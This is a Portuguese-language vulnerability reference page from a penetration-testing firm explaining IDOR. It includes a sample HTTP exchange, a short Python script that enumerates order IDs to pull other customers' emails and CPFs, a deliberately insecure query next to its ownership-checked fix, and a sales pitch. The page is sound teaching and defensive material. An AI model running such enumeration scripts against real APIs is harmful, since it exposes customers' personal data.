← Base de Vulnerabilidades
Autorização A01:2021-Broken Access Control CVSS 7.5

IDOR — Referência Direta a Objetos Insegura

IDOR (Insecure Direct Object Reference) expõe dados de outros clientes via troca de ID em APIs. Veja exemplos reais com HTTP requests e como remediar.

Comum em: APIs REST, painéis de cliente, sistemas de e-commerce · Dificuldade: Baixa — explorável manualmente com um browser

O Que É IDOR

IDOR (Insecure Direct Object Reference) ocorre quando uma aplicação usa identificadores controláveis pelo usuário (IDs, UUIDs, números de pedido) para acessar objetos no banco de dados sem verificar se o usuário autenticado tem permissão real sobre aquele objeto. Em APIs REST, é trivialmente explorável: basta trocar o ID na URL ou no corpo da requisição.

Exemplo Real de Ataque

HTTP Request / Response
GET /api/v1/pedidos/9845
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...

HTTP/1.1 200 OK
{
  "pedido_id": 9845,
  "usuario_id": 3721,
  "email": "outro.cliente@empresa.com.br",
  "cpf": "***.***.***-72",
  "valor": 14750.00,
  "dados_pagamento": "XXXX-4891"
}

Script de Exploração

⚠ Apenas para uso em ambientes autorizados
import requests

BASE = "https://api.target.com.br/api/v1/pedidos"
TOKEN = "Bearer SEU_TOKEN_VALIDO"

for pedido_id in range(9800, 9900):
    r = requests.get(
        f"{BASE}/{pedido_id}",
        headers={"Authorization": TOKEN}
    )
    if r.status_code == 200:
        d = r.json()
        print(f"[IDOR] ID {pedido_id}: {d.get('email')} | CPF: {d.get('cpf')}")

Impacto no Negócio e Compliance

Exposição de dados pessoais de todos os clientes (PII, CPF, email, endereço, dados financeiros). Sob a LGPD (art. 48), incidentes de acesso não autorizado devem ser notificados à ANPD. Para fintechs, a BCB Resolução 538/2025 exige evidência de controle de acesso adequado. Um IDOR em produção pode expor dados de toda a base — milhares de clientes — com um simples loop.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Como Remediar

# ❌ INSEGURO — busca direta por ID
pedido = db.query(Pedido).filter(Pedido.id == pedido_id).first()

# ✅ SEGURO — sempre valide ownership
pedido = db.query(Pedido).filter(
    Pedido.id == pedido_id,
    Pedido.usuario_id == current_user.id  # <- ownership check
).first()
if not pedido:
    raise HTTPException(status_code=403, detail="Acesso não autorizado")

Como a Veyronn Detecta Esta Vulnerabilidade

Nossa equipe de red team testa controle de acesso horizontal e vertical em todas as APIs autenticadas, mantendo múltiplas sessões simultâneas (User A vs User B, User vs Admin) para validar isolamento real de dados multi-tenant.

Pronto para Contratar seu Próximo Pentest?

Adquira nossa avaliação pontual feita pelos melhores profissionais do mercado ou implemente o software da Veyronn 24/7.